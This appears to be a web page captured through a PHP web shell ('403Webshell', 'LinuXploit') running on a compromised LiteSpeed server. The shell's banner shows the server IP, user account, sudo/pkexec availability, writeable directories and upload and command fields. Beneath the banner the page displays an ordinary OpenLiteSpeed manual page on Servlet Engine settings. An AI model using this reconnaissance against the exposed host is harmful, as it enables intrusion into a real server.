403Webshell
Server IP : 202.155.9.250  /  Your IP : 216.73.217.177
Web Server : LiteSpeed
System : Linux srv339029361 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : grabn6394 ( 1016)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lsws/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/docs/External_Servlet.html
<!DOCTYPE html>
<html lang="en-US">
<head>
  <meta charset="utf-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
  <title>OpenLiteSpeed Users&#039; Manual - Servlet Engine</title>
  <meta name="description" content="OpenLiteSpeed Users&#039; Manual - Servlet Engine." />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <meta name="robots" content="noindex">
  <script>
    (function () {
      var theme = 'light';
      var resolved = false;
      try {
        if (window.localStorage) {
          var storedTheme = window.localStorage.getItem('hdoc.theme');
          if (storedTheme === 'light' || storedTheme === 'dark') {
            theme = storedTheme;
            resolved = true;
          }
        }
      } catch (err) {
      }

      if (!resolved && window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
        theme = 'dark';
      }

      document.documentElement.setAttribute('data-theme', theme);
      document.documentElement.style.colorScheme = theme;
    }());
  </script>
  <link rel="shortcut icon" href="img/favicon.ico" />
  <link rel="stylesheet" type="text/css" href="css/hdoc.css">
  <link rel="stylesheet" type="text/css" href="css/hdoc-product-accent.css">
  <script src="hdoc-search-index.js" defer></script>
  <script src="js/hdoc-search.js" defer></script>
</head>
<body>
<div class="doc-shell">
<header class="doc-topbar">
  <a class="doc-brand" href="index.html" aria-label="OpenLiteSpeed Users&#039; Manual">
    <img src="img/ols_logo.svg" alt="OpenLiteSpeed logo" />
    <strong>OpenLiteSpeed Users&#039; Manual</strong>
  </a>
<div class="doc-actions">
    <button class="doc-menu-toggle" type="button" aria-label="Open menu" data-menu-toggle aria-expanded="false">
      <svg viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M3 12h18M3 6h18M3 18h18" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>
    </button>
    <form class="doc-search" role="search" data-empty="Search pages and settings" data-no-results="No results found.">
      <label class="sr-only" for="doc-search-input">Search the manual</label>
      <div class="doc-search__box">
        <input id="doc-search-input" type="search" autocomplete="off" placeholder="Search pages and settings" aria-controls="doc-search-results" />
        <button type="submit">Search</button>
      </div>
      <div id="doc-search-results" class="doc-search__results" hidden></div>
    </form>
  </div>
  <label class="doc-language"><select id="doc-language-switcher" name="doc_language" data-language-switcher aria-label="Language"><option value="External_Servlet.html" data-lang="en-US" selected>English</option><option value="es-ES/External_Servlet.html" data-lang="es-ES">Español</option><option value="de-DE/External_Servlet.html" data-lang="de-DE">Deutsch</option><option value="fr-FR/External_Servlet.html" data-lang="fr-FR">Français</option><option value="zh-CN/External_Servlet.html" data-lang="zh-CN">简体中文</option><option value="ja-JP/External_Servlet.html" data-lang="ja-JP">日本語</option></select></label>
  <button class="doc-theme-toggle" type="button" aria-label="Toggle theme" data-theme-toggle data-theme-light-label="Light mode" data-theme-dark-label="Dark mode" title="Toggle theme">
    <span class="doc-theme-toggle__icon" aria-hidden="true"></span>
  </button>
</header>
<div class="doc-menu-backdrop" data-menu-backdrop></div>
<div class="pagewrapper" data-current-lang="en-US" data-supported-langs="[&quot;en-US&quot;,&quot;es-ES&quot;,&quot;de-DE&quot;,&quot;fr-FR&quot;,&quot;zh-CN&quot;,&quot;ja-JP&quot;]"><aside class="sidetree"><div class="sidetree__masthead"><figure class="sidetree__figure"><img src="img/ols_logo.svg" alt="OpenLiteSpeed logo" /></figure><div class="sidetree__identity"><a class="sidetree__manual-link" href="index.html">Users&#039; Manual</a><div class="sidetree__version">Version 1.9 — Rev. 4</div></div></div><nav class="sidetree__nav" aria-label="Table of Contents"><ul class="sidetree__list">
      <li><a href="license.html">License</a></li>
      <li><a href="intro.html">Introduction</a></li>
      <li><a href="install.html">Installation/Uninstallation</a></li>
      <li>
        <a href="admin.html">Administration</a>
        <ul class="level2">
          <li><a href="ServerStat_Help.html">Service Manager</a></li>
          <li><a href="Real_Time_Stats_Help.html">Real-Time Stats</a></li>
        </ul>
      </li>
      <li><a href="security.html">Security</a></li>
      <li>
        <a href="config.html">Configuration</a>
        <ul class="level2">
          <li><a href="ServGeneral_Help.html">Server General</a></li>
          <li><a href="ServLog_Help.html">Server Log</a></li>
          <li><a href="ServTuning_Help.html">Server Tuning</a></li>
          <li><a href="ServSecurity_Help.html">Server Security</a></li>
          <li>
            <a href="ExtApp_Help.html">External Apps</a>
            <ul class="level3">
              <li><a href="External_LSAPI.html">LSAPI App</a></li>
              <li><a href="External_WS.html">Web Server (Proxy)</a></li>
              <li><a href="External_FCGI.html">Fast CGI App</a></li>
              <li><a href="External_FCGI_Auth.html">Fast CGI Authorizer</a></li>
              <li><a href="External_SCGI.html">Simple CGI App</a></li>
              <li><a class="current" href="External_Servlet.html">Servlet Engine</a></li>
              <li><a href="External_PL.html">Piped Logger</a></li>
              <li><a href="External_LB.html">Load Balancer</a></li>
              <li><a href="External_UWSGI.html">uWSGI</a></li>
            </ul>
          </li>
          <li><a href="ScriptHandler_Help.html">Script Handler</a></li>
          <li><a href="App_Server_Help.html">App Server Settings</a></li>
          <li><a href="Module_Help.html">Module Configuration</a></li>
          <li><a href="Listeners_General_Help.html">Listener General</a></li>
          <li><a href="Listeners_SSL_Help.html">Listener SSL</a></li>
          <li><a href="Templates_Help.html">Virtual Host Templates</a></li>
          <li><a href="VirtualHosts_Help.html">Virtual Host Registration</a></li>
          <li><a href="VHGeneral_Help.html">Virtual Host General</a></li>
          <li><a href="VHSecurity_Help.html">Virtual Host Security</a></li>
          <li><a href="VHSSL_Help.html">Virtual Host SSL</a></li>
          <li><a href="Rewrite_Help.html">Rewrite</a></li>
          <li>
            <a href="Context_Help.html">Context</a>
            <ul class="level3">
              <li><a href="Static_Context.html">Static Context</a></li>
              <li><a href="Java_Web_App_Context.html">Java Web App Context</a></li>
              <li><a href="Servlet_Context.html">Servlet Context</a></li>
              <li><a href="FCGI_Context.html">Fast CGI Context</a></li>
              <li><a href="SCGI_Context.html">Simple CGI Context</a></li>
              <li><a href="LSAPI_Context.html">LSAPI Context</a></li>
              <li><a href="Proxy_Context.html">Proxy Context</a></li>
              <li><a href="CGI_Context.html">CGI Context</a></li>
              <li><a href="LB_Context.html">Load Balancer Context</a></li>
              <li><a href="Redirect_Context.html">Redirect Context</a></li>
              <li><a href="App_Server_Context.html">App Server Context</a></li>
              <li><a href="UWSGI_Context.html">uWSGI Context</a></li>
              <li><a href="Module_Context.html">Module Handler Context</a></li>
            </ul>
          </li>
          <li><a href="VHWebSocket_Help.html">Web Socket Proxy</a></li>
        </ul>
      </li>
      <li><a href="webconsole.html">Web Console</a>
        <ul class="level2">
          <li><a href="AdminGeneral_Help.html">Admin Console General</a></li>
          <li><a href="AdminSecurity_Help.html">Admin Console Security</a></li>
          <li><a href="AdminListeners_General_Help.html">Admin Listener General</a></li>
          <li><a href="AdminListeners_SSL_Help.html">Admin Listener SSL</a></li>
        </ul>
      </li>
    </ul></nav></aside><article class="contentwrapper"><div class="nav-bar"><div class="prev">&#171 <a href="External_SCGI.html">Simple CGI App</a></div><div class="center"><a href="ExtApp_Help.html">External Apps</a></div><div class="next"><a href="External_PL.html">Piped Logger</a> &#187;</div></div>
<header class="doc-page-header"><h1>Servlet Engine</h1></header><section class="doc-toc" aria-labelledby="top"><header class="doc-toc__header"><h2 id="top">Table of Contents</h2></header><section class="doc-toc__row"><h3 class="doc-toc__heading">Servlet Engine</h3><ul class="doc-toc__links"><li><a href="#extAppName">Name</a></li><li><a href="#extAppAddress">Address</a></li><li><a href="#maxConns">Max Connections</a></li><li><a href="#pcKeepAliveTimeout">Connection Keep-Alive Timeout</a></li><li><a href="#env">Environment</a></li><li><a href="#initTimeout">Initial Request Timeout (secs)</a></li><li><a href="#retryTimeout">Retry Timeout (secs)</a></li><li><a href="#respBuffer">Response Buffering</a></li></ul></section>
</section>
<section class="doc-content-flow"><div class="helpitem"><article class="ls-helpitem"><header class="ls-helpitem__header" id="extAppName"><h3>Name<span class="ls-permlink"><a href="#extAppName"></a></span></h3></header><h4>Description</h4><p>A unique name for this external application. You will refer to it by this name when you use it in other parts of the configuration.</p> </article> </div>
<div class="helpitem"><article class="ls-helpitem"><header class="ls-helpitem__header" id="extAppAddress"><h3>Address<span class="ls-permlink"><a href="#extAppAddress"></a></span></h3></header><h4>Description</h4><p>A unique socket address used by the external application. IPv4/IPv6 sockets and Unix Domain Sockets (UDS) are supported. IPv4/IPv6 sockets can be used for communication over the network. UDS can only be used when the external application resides on the same machine as the server.</p> <h4>Syntax</h4><p>IPv4 or IPV6 address:port or UDS://path</p> <h4>Example</h4><div class="ls-example">127.0.0.1:5434<br/> UDS://tmp/lshttpd/php.sock.</div><h4>Tips</h4><p><span class="ls-badge ls-badge--security">Security</span> If the external application runs on the same machine, UDS is preferred. If you have to use an IPv4|IPV6 socket, set the IP address to <span class="val">localhost</span> or <span class="val">127.0.0.1</span>, so the external application is inaccessible from other machines.<br/> <span class="ls-badge ls-badge--performance">Performance</span> Unix Domain Sockets generally provide higher performance than IPv4 sockets.</p> </article> </div>
<div class="helpitem"><article class="ls-helpitem"><header class="ls-helpitem__header" id="maxConns"><h3>Max Connections<span class="ls-permlink"><a href="#maxConns"></a></span></h3></header><h4>Description</h4><p>Specifies the maximum number of concurrent connections that can be established between the server and an external application. This setting controls how many requests can be processed concurrently by an external application, however, the real limit also depends on the external application itself. Setting this value higher will not help if the external application is not fast enough or cannot scale to a large number of concurrent requests.</p> <h4>Syntax</h4><p>Integer number</p> <h4>Tips</h4><p><span class="ls-badge ls-badge--performance">Performance</span> Setting a high value does not directly translate to higher performance. Setting the limit to a value that will not overload the external application will provide the best performance/throughput.</p> </article> </div>
<div class="helpitem"><article class="ls-helpitem"><header class="ls-helpitem__header" id="pcKeepAliveTimeout"><h3>Connection Keep-Alive Timeout<span class="ls-permlink"><a href="#pcKeepAliveTimeout"></a></span></h3></header><h4>Description</h4><p>Specifies the maximum time in seconds to keep an idle persistent connection open.<br/><br/> When set to "-1", the connection will never timeout. When set to 0 or greater, the connection will be closed after this time in seconds has passed.</p> <h4>Syntax</h4><p>Integer number</p> </article> </div>
<div class="helpitem"><article class="ls-helpitem"><header class="ls-helpitem__header" id="env"><h3>Environment<span class="ls-permlink"><a href="#env"></a></span></h3></header><h4>Description</h4><p>Specifies extra environment variables for the external application.</p> <h4>Syntax</h4><p>Key=value. Multiple variables can be separated by "ENTER"</p> </article> </div>
<div class="helpitem"><article class="ls-helpitem"><header class="ls-helpitem__header" id="initTimeout"><h3>Initial Request Timeout (secs)<span class="ls-permlink"><a href="#initTimeout"></a></span></h3></header><h4>Description</h4><p>Specifies the maximum time in seconds the server will wait for the external application to respond to the first request over a new established connection. If the server does not receive any data from the external application within this timeout limit, it will mark this connection as bad. This helps to identify communication problems with external applications as quickly as possible. If some requests take longer to process, increase this limit to avoid 503 error messages.</p> <h4>Syntax</h4><p>Integer number</p> </article> </div>
<div class="helpitem"><article class="ls-helpitem"><header class="ls-helpitem__header" id="retryTimeout"><h3>Retry Timeout (secs)<span class="ls-permlink"><a href="#retryTimeout"></a></span></h3></header><h4>Description</h4><p>Specifies the period of time that the server waits before retrying an external application that had a prior communication problem.</p> <h4>Syntax</h4><p>Integer number</p> </article> </div>
<div class="helpitem"><article class="ls-helpitem"><header class="ls-helpitem__header" id="respBuffer"><h3>Response Buffering<span class="ls-permlink"><a href="#respBuffer"></a></span></h3></header><h4>Description</h4><p>Specifies whether to buffer responses received from external applications. If a "nph-" (Non-Parsed-Header) script is detected, buffering is turned off for responses with full HTTP headers.</p> <h4>Syntax</h4><p>Select from drop down list</p> </article> </div>
</section>
</article></div><button class="doc-back-to-top" type="button" aria-label="Back to top" data-back-to-top><svg viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M12 19V5" /><path d="m6 11 6-6 6 6" /></svg><span class="sr-only">Back to top</span></button><footer class="copyright">Copyright &copy; 2013-2026. <a href="https://www.litespeedtech.com">LiteSpeed Technologies Inc.</a> All rights reserved.</footer>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit